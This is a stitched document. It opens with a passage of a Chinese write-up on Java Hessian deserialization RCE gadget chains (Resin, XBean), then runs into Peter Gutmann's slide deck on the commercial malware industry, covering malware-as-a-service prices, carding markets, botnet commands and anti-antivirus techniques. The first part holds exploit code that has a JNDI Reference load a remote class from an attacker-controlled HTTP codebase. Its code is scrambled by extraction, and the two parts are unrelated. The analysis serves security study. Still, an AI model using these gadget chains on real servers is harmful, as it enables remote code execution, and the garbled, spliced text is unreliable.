ashtable.class); ccCons.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); Reflections.setFieldValue(cpe, "cause", null); Reflections.setFieldValue(cpe, "stackTrace", null); cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); Reflections.setFieldValue(cpe, "suppressedExceptions", null); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); QName qName = new QName(ctx, "foo", "bar"); return uf.makeToStringTriggerStable(qName); } } 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 这个payload的生成首先关注一下返回的东西,其余的在调试漏洞触发的时候再同步来看。首先是这个返回值,调用 了uf.makeToStringTriggerStable(qName),然后跟入这个方法,会创建一个xstring对象,然后最终返回的对象 是一个hashmap,第一个属性是QName,第二个是XString。 漏洞调试->Resin链 hessianInput.readObject()->this._serializerFactory.readMap(this, type) 对于hessian而言会根据不同的类型来选择反序列化的工厂,然后因为我们的payload最后返回的是一个hashmap, 所以根据程序逻辑会进入到this._serializerFactory.readMap(this, type),然后又进入到this._hashMapDe serializer.readMap(in)在MapDeserializer.readMap()方法中会对序列化的两个参数反序列化然后重新存入ma p中。首先存入Qname这个对象,然后第二次存入XString对象的时候会与Qname对象进行比较,然后触发漏洞。 hashmap.putval->Xstring.equals(Qname)->Qname.toString() 通过hashmap中键值的比较,最终进入到Qname.toString()方法当中。这里我们就要回到之前payload的构造了, 来看看Qname的一些属性设置。 default Object makeResinQName ( UtilFactory uf, String[] args ) throws Exception { Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NL S-1$ Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, H ashtable.class); ccCons.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); Reflections.setFieldValue(cpe, "cause", null); Reflections.setFieldValue(cpe, "stackTrace", null); cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); 1 2 3 4 5 6 7 8 9 10 11 Reflections.setFieldValue(cpe, "suppressedExceptions", null); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); QName qName = new QName(ctx, "foo", "bar"); return uf.makeToStringTriggerStable(qName); } 12 13 14 15 16 通过payload的构造可以看到this._context属性应该是(DirContext)javax.naming.spi.ContinuationDirCon text对象,那么Qname.toString()方法中this._context.composeName(str, name)对应的就是(DirContext)j avax.naming.spi.ContinuationDirContext.composeName("bar","foo"),最终进入的就是ContinuationCon text.composeName("bar","foo"),根据继承关系,在ContinuationContext类中实现了composeName方法。 ContinuationContext.composeName("bar","foo")->getTargetContext()->NamingManager.getContext(cpe.getR esolvedObj(),cpe.getAltName(),cpe.getAltNameCtx(),env)->NamingManager.getObjectInstance->NamingMana ger.getObjectFactoryFromReference()->helper.loadClass(factoryName, codebase)->URLClassLoader.newIns tance(getUrlArray(codebase), parent) 根据上面的调用链可以追踪到整个调用过程,最终是通过urlclassLoader来加载远程的远程类,最终触发RCE 漏洞调试->ROME链 漏洞调试->XBean链 package ; import ToStringUtil; import ContextUtil; import WritableContext; import XString; import Context; import NamingException; import Reference; import Method; import HashMap; public class XBeanGa { public static void main(String[] args) throws Exception { WritableContext writableContext = new WritableContext(); Reference reference = new Reference("test", "ExecTemplateJDK7", "http://192.168.1.1 1:8180/"); com.example marshalsec.gadgets. org.apache.xbean.naming.context. org.apache.xbean.naming.context. org.apache.xpath.objects. javax.naming. javax.naming. javax.naming. java.lang.reflect. java.util. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 XBean的构造链和Resin的链是一样的原理,都是通过XString.equals(readOnlyBinding)->Binding(ReadOnlyB inding继承Binding类且自身没有实现toString方法).toString()->ReadOnlyBinding.getObject()->Context Util.resolve(this.value, this.getName(), (Name)null, this.context)->NamingManager.getObjectIn stance(reference, parsedName, nameCtx, nameCtx.getEnvironment())->...... 利用限制 ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("",re ference,writableContext); XString string = new XString("string"); HashMap map = new HashMap(); // 放入 readOnlyBinding 移除 putVal 的影响 map.put(readOnlyBinding, "su18"); Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods(); for (Method method : m) { if ("putVal".equals(method.getName())) { method.setAccessible(true); method.invoke(map, -1, readOnlyBinding, 0, false, true); } } // 放入 XString 移除 putVal 的影响,不然hashmap之后的排序一直存在问题,XString的顺序一定 要在readOnlyBinding之后 map.put(string, "su19"); Method[] m2 = Class.forName("java.util.HashMap").getDeclaredMethods(); for (Method method : m2) { if ("putVal".equals(method.getName())) { method.setAccessible(true); method.invoke(map, -1, string, 0, false, true); } } byte[] serialize = HessionUtils.serialize(map); Object deserialize = HessionUtils.deserialize(serialize); } } 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 参考文章 su18-hessian反序列化 Hessian反序列化漏洞 Hessian反序列化RCE漏洞复现及分析
pdf
The Commercial Malware Industry Peter Gutmann University of Auckland Some History: The Numbers Racket The numbers racket = Lotto before the government took it over • Run through barber shops, groceries by local operators • Bets were for cents • Players chose a 3-digit number • “Drawn” using the last 3 digits of the total amount bet on pari- mutuel racetrack betting machines Seen as a harmless vice, no-one paid much attention to it Some History: The Numbers Racket (ctd) Then organised crime moved in… • Dutch Schultz took over from existing operators • They weren’t career criminals and were intimidated by explicit death threats Dutch hired mathematician Otto “Aba Daba” Berman to fix the numbers racket • Ensure that heavily-played numbers never won • No-one had ever considered this level of attack – c.f. spammers hiring professional linguists – “We can’t repel firepower of that magnitude” Some History: The Numbers Racket (ctd) Once organised crime got involved, everything changed The modern spam industry now is spread across the globe and has become infested by technically organised programmers from Russia and Eastern Europe, often in league with local organised crime syndicates — Colin Galloway, Asia Times Most of the big outbreaks are professional operations. They are done in an organised manner from start to finish — Mikko Hypponen, F-Secure Last year [2004] was the first year that proceeds from cybercrime were greater than proceeds from the sale of illegal drugs […] cybercrime is moving at such a high speed that law enforcement cannot catch up with it — Valerie McNiven, US Treasury advisor on cybercrime The Malware Industry Publicity virus: Written by bored script kiddies • Poorly tested, often barely works Spam/phishing virus: Written by paid professional programmers • Well-tested, can be quite sophisticated – The Babylonia virus used plug-in virus modules (VMODs) downloaded on-demand by the virus body – The Hybris worm uses digitally-signed encrypted updates propagated via web servers and newsgroups The [Scob trojan] attack demonstrated the same skills required to design an entire software application — Dan Frasnelli, NetSec The Malware Industry (ctd) Serious money can buy serious expertise • Spam vendors are employing professional linguists to bypass filters • Phishers use psychology graduates to scam victims – They have better experts than we do! • Talented employees can earn $200,000+ per year – Remote root zero-days can go for $50-100,000 The Malware Industry (ctd) Obtaining new recruits • Russian script kiddie runs a botnet • ISP notices this and reports it to their mafia contacts • Mafia visits the kid and makes him an offer he can’t refuse • Kid is now working for the Russian mafia Kernel-mode rootkits can be bought from third-party developers • Outsourcing the anti-detection code allows malware authors to concentrate on the payload The Malware Industry (ctd) Zero-days are sold online There are dozens of these sites with hackers offering zero-day code for sale all the time. They even have a mechanism to test the code to make sure it is legitimate and will get past anti-virus software — Jim Melnick, iDefense This [WMF] exploit could be bought from a number of specialised sites. Hacker groups in Russia were selling this exploit for $4,000 — Alexander Gostev, senior virus analyst, Kaspersky Labs • Windows Vista (-1)-day was available for $50K before Vista was even released! Malware Then and Now People expect Hollywood-style effects from malware • Exploding panels • Sparks flying from the case • Crashing alien spacecraft Modern malware is designed to be as undetectable as possible • No visible effect  it’s not there I ran this Anna Kournikova thing and nothing happened. Why not? — Anti-virus vendor support call Malware Economics “Since Firefox now has appreciable market share, it will be targeted by malware authors” • Only if you ignore the money factor Let’s do the maths… • Assume MSIE has 80% market share, Firefox has 20% market share • Assume successful exploit probability in MSIE is 3 out of 4 (75%), in Firefox is one in ten (10%) • Do you want a 75% chance at 80% of the market (60% return) or a 10% chance at 20% of the market (2% return)? Commercial attackers will expend effort to get the biggest market share, not short-lived bragging rights Malware via the Affiliate Model Pay others to infect users with spyware/adware/trojans Business model was pioneered by iframedollars.biz • (IFrames: Browser attack vector of choice) • Pays webmasters 6 cents for each infected machine • Alternative payment model is weekly fixed-rate payouts with bonuses for clean installs If your traffic is good, we will change rates for you and make payout with new rates Malware via the Affiliate Model (ctd) Since extended to a vast mass of adware affiliates (mostly porn) • 12clickscash.com, camazoncash.com, gammacash.com, trafficcashgold.com, … (way too many to list) • dollarrevenue.net pays 30 cents for each install of their adware in the US, 20 cents in Canada, 10 cents in the UK, and one or two cents elsewhere • T&C generally claim that they’ll terminate affiliates who do anything unethical – Yeah, right See www.klikteamparty.com for one company’s end-of-year party (Mercedes C-Class, Vaios, strippers…) Malware via the Affiliate Model (ctd) Adware spams ads in a context-sensitive manner • User Googles for something • Adware spams the user with their affiliate’s version of the product before they get a Google response – Variation: Rewrite the search results in the browser to favour your products • Satanic version of the MS Office Assistant It looks like you’re searching for dog food. Would you like to be spammed with penis enlargement ads instead? Malware via the Affiliate Model (ctd) A morass of grey-market and unethical practices • Vendor puts an EULA on their adware so they can claim that they warn the user on install • Affiliate uses OLE automation to click past the EULA without the user even seeing it Piggyback malware on legitimate software • CoolWebSearch co-installs a mail zombie and a keystroke logger • Gathers credit card numbers, social security numbers, usernames, passwords, … Malware as a Service Standard commercial vendors are embracing SaaS • Malware vendors have MaaS MaaS is advertised and distributed just like standard commercial software Iframe, pop under, накрутка счетчиков, постинг, спам Также я советую если у вас нет сплоита и трафа, вы можете взять в аренду у здесь Iframe exploits, pop-unders, click fraud, posting, spam If you don’t have it, you can rent it here • Online video tutorials of the malware in action Malware as a Service Try-before-you-buy offers for malware Трафик на сплоиты. Для пробы всем Бесплатно 100 посетителей!!! Цена 4 $ за 1000 посетителей - При заказе от 1000 до 5.000 3.8 $ за 1000 посетителей - При заказе от 5.000 до 10.000 3.5 $ за 1000 посетителей - При заказе от 10.000 Traffic for sploits Free trial, 100 visitors!!! Price $4 per 1000 if buying 1000 – 5000 $3.80 per 1000 if buying 5000 – 10,000 $3.50 per 1000 if buying over 10,000 Malware as a Service (ctd) Back-end databases and control systems managed via web GUIs • Sophisticated, skinnable interfaces • Briz/VisualBriz at right Image courtesy Alex Eckelberry, Sunbelt Software Malware as a Service (ctd) Buy the basic version for $1000-2000 (Gozi) • Purchase add-on services at varying prices starting at $20 Также вы може взять и другие страны на заказ. За подробной информацией обращайтесь к суппортам In other countries on request. Contact us for support Prices vary by as much as 100-200% across sites – shop around • Prices for non-Russians are often higher • If you want the discount rate, buy via Russian sites Malware as a Service (ctd) Prices are generally advertised in wmz (USD-equivalent WebMoney currency) • WebMoney = more bulletproof Russian version of PayPal Icq спам по ONLINE номерам Для пробы всем Бесплатно 10.000 сообщений !!! 10 000 сообщений - 0,5 wmz 15 000 сообщений - 1,0 wmz 50 000 сообщений - 3,0 wmz 100 000 сообщений - 5 wmz 200 000 сообщений - 9 wmz 500 000 сообщений - 15 wmz 1 000 000 сообщений - 20 wmz ICQ spam, free trial 10K messages, prices in wmz Malware as a Service (ctd) Server-compromise tools are sold in a similar manner • Feed the tool a list of accounts and it does the rest Malware as a Service (ctd) Basic server-exploit tools typically go for $20-25 • Previous slide was FTP-Toolz, a front-end for the MPACK exploit toolkit – Automates deployment of MPACK – MPACK itself sells for ~$1000 Prime Exploit System - 20 $ (довольно неплохой сплойт) Нуклеар - 40 $ (Хороший сплойт даже очень) + Ежемесечная оплата за польззования хостингом 10$ Prime Exploit $20 (not so bad sploit) Nuclear (Grabber) $40 (very good sploit) Additional $10 payment for hosting Example: Information Stolen by Malware Malware server found by investigators contained • Information from 5,200 PCs • 10,000 account records for 300 organisations – Top global banks and financial companies – US federal, state, and local government – US national and local law enforcement – Major US retailers • SSNs and other personal information • Patient medical information (via healthcare employees) US regulations (HIPAA, GLBA, etc) made reporting this to the victims very difficult The Malware Business Everything can be outsourced • Scammer buys hosts for a phishing scam • Buys spam to lure the punters • Buys drops to send the money to • Pays a cashier to cash out the accounts You wonder why anyone still bothers burgling houses when this is so much easier… The Malware Business (ctd) The money seems to be in being the middleman • If someone could figure out how to set up an automated clearing house (ACH), they’d really clean up • Probably not possible since it breaks the decentralised model that makes the system fault-tolerant Botnet vendors Independent businessmen Carders Malware vendors Anti-det.vendors Example: Gozi Trojan Available as a service from iFrameBiz, stat482.com • Gozi Trojan bought from HangUp Team, hangup.da.ru • Trojan server managed by 76Service, 76service.com • Trojan server hosted by Russian Business Network, www.rbnnetwork.com • Cashier details unknown The Spam Business Buy CDs with harvested addresses • Prices vary depending on the quality • Vacuum-cleaner for ~$50, verified for $x00 Send mail via spam brokers • Handled via online forums like specialham.com, spamforum.biz • $1 buys 1000–5000 credits • $1000 buys 10,000 compromised PCs • Credit is deducted when the spam is accepted by the target MTA The Spam Business (ctd) Broker handles spam distribution via open proxies, relays, compromised PCs, … • Sending is usually done from the client’s PC using broker- provided software and control information • Sources are obscured using spread-spectrum/frequency- hopping style techniques This is a completely standard commercial business • The spammers even have their own trade associations Nearly a third of users have clicked on links in spam messages. One in ten users have bought products advertised in junk mail […] the fact that users are buying things continues to make it an attractive business, especially given that sending out huge amounts of spam costs very little — BBC News The Carding Business Prices are openly published or subject to private negotiation • “CVV for $1, CVV with SSN for $10, bank account $50, …” – “CVV” implies full CC details down to the CVV level – A “dump” in carder jargon, dump of the magstripe info • Some sources give bulk discounts for larger CVV purchases Carders have ebay-style reputation rating systems • #rippers on carder IRC nets The Carding Business (ctd) Card checks are performed via IRC bots • !chk cardno expiry • !cclimit cardno • !cvv2 cardno expiry – CVV is the 3-4 digit crypto checksum on the back of the card – Required as an extra check by some merchants • This is more sophisticated than many merchants! The Carding Business (ctd) User identities are hidden via IRC proxies (bouncers) on hacked PCs The trade of BotNets on compromised machines is becoming an industry in itself. Organised crime is making use of this industry — Detective Chief Superintendent Les Hynds, head of the UK National Hi-Tech Crime Unit Funds are moved into drops • Compromised bank accounts used to launder funds • Scammers are big fans of online banking, especially via other people’s accounts The Carding Business (ctd) Cashiers cash out the contents of the drops • Take 50% of the funds to move the money out via services like Western Union • Many, many ways to cash out the funds. Example: Find a business with $10K of debt, agree to pay them $20K if they cash out 50% of the funds System works like an open labour market • Handled via web forums like cardingworld.cc, darkmarket.org, talkcash.net, theftservices.com • “Need spammer to fill Hotmail boxes, will pay through percentage of phishing proceeds” • “Will trade CVV2 for web site account” Example: carderplanet.net i can provide you with excellent credit cards with cvv2 code and without it. Minimum deal is a USD $200.00. • USD $200.00 - there are 300 credit cards without cvv2 code ( visa + mc ) - USA (included credit card number, exp.day. cardholder billing address, zip, state). • USD $200.00 - there are 50cc with cvv2 code (visa + mc) USA (included credit card number, exp.day. cardholder billing address & CVV code from the back side of the card). Also i can provide cards with SSN+DOB. COST 40$ per one. Minimal deal 200$ • Also i can provide Europe credit cards, France, Germany + UK and many other contries around the globe. • All credit cards with good exp day and it's work also so good. Example: vendorsname.ws On our forum you can buy: • Credit cards with Change Of Billing (COBs)* • Dumps of US and European credit cards (Platinum, Gold and Classic) • Active eBay accounts with as many positive feedbacks as you need • Active and wealthy PayPal accounts • Drops for carding, cashing and money laundering • Carded electronic and stuff for as low as 40 percent of market price • PINs for prepaided AT&T and Sprint phone cards • Carded Western Union accounts for safe and quick money transfers … continues.. * COB = credit card with billing address changed to carder mail drop Example: vendorsname.ws (ctd) … continued… • Carded UPS and FedEx accounts for quick and free worldwide shipping of your stuff • Full info including Social Security Info, Driver Licence #, Mother' Maiden Name and much more • DDoS attack for any site you need, including monsters like Yahoo, Microsoft, eBay Come and register today and get a bonus by your choice: • One Citybank account with online access with 3k on board, or • 5 COB' cards with 5k credit line • 10 eBay active eBay accounts with 100+ positive feedbacks • 25 Credit Cards with PINs for online carding Be in first 10 who register today and get the very special bonus from Administration of Forum. The Carding Business (ctd) Obvious: Get 25 PCs shipped to eastern Europe via intermediaries (re-shipping rings) • Merchandise is shipped via US middlemen – “Earn big bucks working from home!” • Countermeasure: Merchants refuse to ship internationally Slightly less obvious: Set up CC processing on behalf of a legitimate company • Legitimate company doesn’t normally take CC orders and isn’t aware of this (identity theft for companies) • Make many small transactions at just under the floor limit using stolen cards • Forward the funds to accounts controlled by the crime ring The Carding Business (ctd) Less obvious: Use online auctions for money laundering (triangulation) • Advertise new $1000 digital camera on ebay for $800 • Buy with stolen card, get sent to ebay buyer • Collect $800 cash Use bot-driven cliques to defeat trust rating systems • Set up multiple accounts • Sell zero-value items (e.g. background GIFs for web pages) for 1 cent each • Provide positive feedback for each sale • 100 positive feedbacks for $1 – Like business goodwill, trust can be monetised The Carding Business (ctd) Everything can be monetised Obvious accounts: Banks, PayPal, … Less obvious accounts: Stock brokerage accounts • Dump the existing portfolio • Buy microcap stocks to drive up prices in pump-and-dump – Cuts out the need to pump the stock The Carding Business (ctd) No accounts at all: Botnets used for click fraud • Advertisers like clicks, they get feedback on effectiveness – Researchers estimate that 10-15% of clicks are fraudulent, representing ~$1B in billings • Google and others boost revenue by recycling ads to other sites – Example: Domain parkers fill parked domains with ads • PTC/PTR (pay-to-click/pay-to-read) rings or clickbots fill the sites with clicks • Handled via brokers like adspacedepot.com, clicksmania.net, clixmedia.biz, paid4clixonline.com, puppiesptr.com – c.f. Terry Pratchett’s fire-fighting economy in Ankh- Morpork The Carding Business (ctd) In 2006 the US government passed its Money Laundering Enabling Act • Amendment to the Safe Port Act bans financial transactions to gambling sites – Gambling continues, but now it’s via illegitimate channels • All gamblers become money launderers • Vastly increases the noise level of money laundering – Fraud-related laundering hides in the noise Spam Technical Mechanisms Bulletproof hosting Spam hosting from $20 per month, fraud hosting from $30 per month — carderportal.org Significant numbers of spam servers are located in China • Highly advanced telecom infrastructure • Cheaper bandwidth than in the West • China has 30 – 50,000 Internet police in 700 cities… … who carefully investigate dangerous threats like pro- democracy web pages Bullet-Proof server: Fresh IPs 1024MB RAM P4 CPU 72GB SCSI Dedicated 100M fiber Unlimited Data Transfer Any software Based China US$599.00 monthly May use the server for: Bulk web Host Direct Mailing We also supply e-mail list according to your order and sending out your message for you. Hope to service for you. Spam Technical Mechanisms (ctd) Spam Technical Mechanisms (ctd) One experiment in blocking IP addresses originating worm/virus attacks ended up blocking • China Anhui Province Network • China Beijing Province Network • China Fujian Province Network • China Guangdong Province Network • China Hangzhou Node Network • China Hubei Province Network • China Jiangmen Broadband Network • China United Telecommunications Corporation, Beijing • Oriental Cable Network Co, Shanghai • Shanghai sichuan[…]gonsi Co.Ltd. Spam Technical Mechanisms (ctd) Spammers can do whatever they want They simply don’t want to know — China Telecom doesn’t care because they’re government-owned, and there is no pressure coming from the government — Steve Linford, Spamhaus Spam Technical Mechanisms (ctd) Use BGP route injection/AS hijacking to steal an IP block • Break into a poorly-secured router – NANOG 28 (June’03) ISP security BOF: 5,400 compromised routers • Send a BGP route update announcing that your router is now responsible for some currently-unused block of IP addresses – In 5-10 minutes the entire Internet will know – This is all the time you need • Spam like crazy from each IP address in the block until you get blacklisted Spam Technical Mechanisms (ctd) Advertise a huge netblock, e.g. a /8 • More specific prefixes advertised in the space, e.g. a /24, won’t be affected (more specific takes precedence) • Attacker gets the remaining space (unallocated, or allocated but unused) Advertise a legitimate netblock (someone else’s) • Routers who don’t know or care will believe it • Easy to spot, payoff is low, but then the cost is also low Works because routers/AS’s are assumed to be trustworthy • S-BGP (secure BGP) is high-overhead and little-used • Only major peering points use it Spam Technical Mechanisms (ctd) Spammers routinely break into legitimate users’ PCs to send spam “I don’t bother securing my [games] PC, because I doubt spammers are interested in my savegames” “They’re not after your games, they’re after your network connection” — slashdot • Largest observed single bot-net had 11,000 members • In late ’04 these were growing at 30,000 machines per day • Peak rate was 75,000 per day during the MyDoom/Bagle virus group wars Spam Technical Mechanisms (ctd) Cost of a compromised system • Cisco router: US$5 • Unix box: US$1-5 – Can easily turn a Unix box into a router using built-in tools • Windows box: Too cheap to meter Email security firm MessageLabs reports that • Two thirds of the spam it blocks is from infected PCs • Much of the spam comes from ADSL/cable modem IP pools • Distributed Server Boycott list reports 350,000 compromised hosts on the US RoadRunner network alone We have met the enemy and he is us… Spam Technical Mechanisms (ctd) IRC-based botnet • IRC links may be encrypted (SSL) • Communications may be over covert channels – DNS TXT records – HTTP IRC server Bot Controller Bot Bot Bot Bot Spam Technical Mechanisms (ctd) DSNX is an advanced, open source, modular, non-interactive IRC client (An irc robot). It provides the subsystem for a versatile internet technology deployment across multiple systems. Through the patented DSNX technology dataspy dot net INC can provide your fortune 500 company with the ultimate solution — DataSpy Network X promotion Spam Technical Mechanisms (ctd) P2P-based botnet • More damage-resistant than centralised IRC control Evolution follows that of file-sharing networks • Centralised IRC-based system allows direct control, but provides a single point of failure  mitigate via IRC bouncers • Mitigate even further via completely decentralised control Bot Bot Bot Bot Bot Bot Bot Controller Example: Agobot Source code is freely available • Well-written C++ implementation • Cross-platform • Modular design • Easy to add new capabilities • GPLd Exists in many variants • Agobot, Phatbot, Forbot, Gaobot, Xtrmbot, Polybot, … – Hundreds of variants (depending on how you count them) • Originally used IRC • Some variants use P2P control, e.g. WASTE, waste.sourceforge.net Example: Agobot (ctd) General capabilities • Packet sniffing via libpcap • Windows rootkit capabilities • Detect debuggers and VMs • Encrypt config data • Disable anti-virus/firewall software • Modify hosts file, e.g. to prevent access to antivirus sites Example: Agobot (ctd) Typical Agobot commands harvest.emails Harvest email addresses spam.setlist Download pre-harvested address list spam.settemptate Download email message template spam.start Start spamming spam.stop Stop spamming Other commands .keylog on Start keylogger .getcdkeys Get registration keys for commercial software .sysinfo Report system capabilities .netinfo Report network connection capabilities Example: Agobot (ctd) Many additional commands are available • Macro forms of spam commands to perform the above with a single command • Display spoofed pages via browser help objects (BHO’s) • Web page redirection • Spyware propagation • Steal CD keys/registration codes for commercial software from the registry – Includes a database of registry locations for common commercial software • Search the hard drive for sensitive files, e.g. *.xls, *finance* Example: Agobot (ctd) Agobot variants added further commands, e.g. Gaobot bot.unsecure Enable shares, DCOM ddos.type Start assorted DDoS attacks http.visit Visit a web site http.execute Update from remote site inst.asadd Add an autostart entry inst.svcadd Add a service pctrl.kill Kill process • Some are extensions of existing Agobot commands Example: Spybot Same pattern as Agobot, but oriented more towards spying/system manipulation cachedpasswords Retrieve passwords via WNetEnumCachedPasswords get file Retrieve file killprocess name Kill a process (e.g. antivirus) passwords Retrieve RAS passwords startkeylogger Start keylogger sendkeys keys Simulate keypresses on PC keyboard Spamware Functions Worms install spamware • Send-Safe.com and Direct Mail Sender (DMS) via SoBig, the first commercial spam virus • Affects 80-100,000 new PCs a week • Software hosted by MCI Worldcom (pink contract) Act as an SMTP proxy to intercept outgoing mail (Taripox) Run a SOCKS proxy for spammers (numerous) Email address harvesting (several) DDoS on spam-blockers (numerous) • DDoS other botnets • Much DDoS traffic is actually botnet internecine warfare Spamware Functions (ctd) Worms act as special-purpose spam relays (e.g. Hogle, MyDoom, many others) • MyDoom infected ca. 1,000,000 PCs (F-Secure) • Infected PCs (“fresh proxies”) are traded in spammer forums • Spamware sends either direct from end-user PCs or routed via an ISP’s mail servers – Spam comes from legitimate users or legitimate ISPs Worm patches itself into WSOCK32.DLL (Happy99 etc) • Intercepts the connect() and send() functions • Checks for connections to the SMTP port • Modifies outgoing mail as it’s sent • Transparently converts legitimate mail into spam Spamware Functions (ctd) Perpetrate click fraud on pay-per-click ads • Botnet of 10K hosts each visit a pay-per-click site • Site records visits from 10K unique IP addresses and pays for each click Worms act as reverse HTTP proxies • Provide a distributed fault-tolerant “web site” for spammers • Migmaf changed the “site” every 10 minutes – c.f. email spam frequency-hopping Spamware Functions (ctd) Disable anti-virus/firewall software (ProcKill, Klez, Bagle- BK, many others) • At one point it was possible to scan for viruses via the standardised code that they used to disable MSAV Bypass firewall software • Walk the NDIS.SYS memory image or data structures and patch yourself in beneath the firewall hooks – Page in your own NDIS.SYS image from disk to avoid touching the live one • Many, many variations used by different rootkits, e.g. FireWalk Spamware Functions (ctd) Modify anti-virus database files to remove detection of the malware (IDEA, AntiAVP) • Alternatively, delete anti-virus database files Block access to anti-virus vendor sites (MTX, Mydoom) Modify anti-virus software to propagate the virus (Varicella) Other Malware Functions (ctd) Re-enable unsafe defaults in software, e.g. MS Office (Listi/Kallisti) Lower browser’s security settings to unblock pop-up ads (Mytob) • Mytob author Diabl0 was paid per pop-up delivered Run multiple instances/threads that resurrect each other if one is killed (“resuscitators”) (Semisoft, Chiton, Lovegate) Use error-correcting codes to repair the virus body if any portion is patched out (RDA Fighter) Other Malware Functions (ctd) Infect through CRC32-checksummed files (HybrisF) • CRC32 isn’t a cryptographic checksum mechanism • Can modify the file without affecting its CRC32 value Install rogue CA root certificates (Marketscore) • Because of the browser certificate trust model, Marketscore can usurp any SSL site Disable user rights verification by patching the kernel (Bolzano, FunLove) • Two-byte patch to SeAccessCheck() in ntoskrnl.exe Add registry entries to make an ActiveX control appear “safe” and digitally signed (Grew) Other Malware Functions (ctd) Engage users in IM chat sessions inviting them to download malware (IM.Myspace04.AIM) • The worm will tell users that it’s not malware if asked • The typical AOL “lol d00d check this out” is hardly a Turing- test level challenge Rewrites user-created Yahoo IM or MIRC messages to propagate itself (Browsesafe) Injects itself into existing AIM, Google Talk, and Yahoo IM sessions (Peacomm) Other Malware Functions (ctd) Steal CD keys/registration codes for commercial software (Agobot) • Windows .PWL files (Dumaru) • PGP secret keyrings (Caligula) • CuteFTP password files (Melissa) • UBS account and PIN files (LoveLetter) • … Hooks into the Javascript engine to grab AJAX-based authentication data (Gozi) • After FFIEC required US banks to use two-factor auth, they redefined “two-factor” to mean “twice as much one-factor” • “Hey, it uses AJAX, now it’s secure!” Other Malware Functions (ctd) Register as a Winsock LSP to bypass SSL (Gozi) • Bypasses SSL encryption in MSIE and other Windows apps (but not ones with built-in SSL) • Blah blah monoculture blah blah Gozi main MSIE Gozi LSP Gozi server Winsock SSL Bank HTTP data SSL data Match can see through SSL Other Malware Functions (ctd) Prevent anti-virus/malware removal programs from running • Remove registry keys • Block apps from starting – Register kernel-level load image notification callback via PsSetLoadImageNotifyRoutine(), prevent known images from loading • Close windows with titles containing phrases like “virus” and “remove” • … Other Malware Functions (ctd) Registers itself as a critical system process so it always gets loaded, even in Safe Mode (CoolWebSearch, HuntBar, VX2) Worms attach themselves to Winlogon using the Winlogon notify function • Winlogon always runs, and starts before anything else • Malware can intercept any attempts to remove it at boot time Steal client keys and certificates and other secrets from Windows Protected Storage (Gozi) Example: Glieder trojan Phase 1, multiple fast-deploying variants sneak past AV software before virus signatures can be propagated • Disable Windows XP Firewall and Security Center Phase 2, connects to a list of URLs to download Fantibag malware • Disables anti-virus software and other protection mechanisms • Blocks access to anti-virus vendors • Blocks access to Windows Update Phase 3, Mitglieder malware contains the actual payload • The attacker now 0wns the machine for use in botnets, spamming, DDoS, keystroke logging, etc Example: Glieder trojan (ctd) Multi-phase approach bootstraps a fast-moving zero-day into an arbitrary-sized malware payload Q: How can a mere 376 bytes (SQL Slammer) be a threat? A: It doesn’t have to be, all it has to do is clear the way for the real threat Cascading file droppers of this kind are a standard mechanism for staying ahead of AV tools • Glieder is relatively simple, some malware uses 10-15 stage infection strategies Example: Glieder trojan (ctd) Web sites are also set up using multi-stage strategies Bait/spam sites Redirector sites Exploiter sites Downloader sites Adware/spyware sites Example: Hybris worm Plug-in modules are encrypted with XTEA and digitally signed using a Davies-Meyer XTEA hash and a 1024-bit RSA key • Modules are obtained from web sites or newsgroups • Creates a so-called “programmable virus” Modules (‘muazzins’) included • Windows help file infector • Polymorphic Windows executable infector – Could also infect executables ‘through’ a CRC16/CRC32/CRC48 • DOS .EXE infector Example: Hybris worm (ctd) • RAR/ZIP/ARJ infector • Word, Excel infectors • SubSeven backdoor dropper • Module to retrieve plugins from web servers • Module to retrieve plugins from news servers • General-purpose dropper • WSOCK32.DLL infection stealth module • DoS module • Antivirus web-site blocker module • Antivirus uninstall/database corruptor module • SOAP-based email generator Other Malware Functions (ctd) Autostart mechanisms are used by almost all malware • Fall into the general category of auto-start extensibility points (ASEP) • Registry keys, startup folder, services, browser help objects (BHOs), layered service providers (LSPs), MSIE extensions, shell hooks, … • Several dozen (known) ASEPs in the Windows core OS alone Pop up messages requesting payment of money and may disable your computer if you don’t pay up (WGA) • Disable PC with the only option being to pay up (SPP) Other Malware Functions (ctd) Provide situation-specific payloads (“programmable viruses”) (Cheeba) • Capabilities are built in, but encrypted – Other programmable viruses use digitally signed plugins • Virus compares a hash of disk filenames to built-in hash values – When a hash matches, it uses the filename as the key to decrypt the file-specific payload • Allows a virus to carry custom payloads for specific files, URLs, applications… – You can’t tell what will happen to you until it’s too late – Mostly superseded by the easy ability to distribute plugins, see the discussion of Hybris, Babylonia, … Other Malware Functions (ctd) Remove competing malware from the system • SpamThru includes a pirated copy of Kaspersky Antivirus to eliminate the competition • Loads the Kaspersky DLL and patches the license check in- memory Adware vendors DirectRevenue have a ‘Dark Arts’ division dedicated to techniques like removing competing malware You also acknowledge that such software and updates to software may without further notice to you, remove, disable or render inoperative other adware or spyware programs including but not limited to competing products — DirectRevenue EULA Other Malware Functions (ctd) Record user geolocation information • Used to defeat anomaly-detection software used by CC companies – Use the card from a botnet node near the victim’s registered location to evade transaction location tracking Image courtesy Brian Krebs, Washington Post Other Malware Functions (ctd) Disable System Restore, patch SFC.DLL and SFC_OS.DLL to disable Windows File Prot (PWS- Satiloler, Sdbot) Perform targeted attacks on specific groups of users • SpamThru trojan contacts controlling servers for information for victim-specific attacks, for example pump-and-dump scams for users performing stock trading Hijack Windows Update (BITS) to download updates (Jowspry) • Bypasses Windows Firewall and other security measures Other Malware Functions (ctd) Use standard Windows popups for nefarious purposes • Install malware via fake Windows Update notifications (Antispysolutions.com, via Myspace) • Request CC details for Windows product activation (Kardphisher) Spammers can do virtually anything to a victim’s PC • BroadcastPC 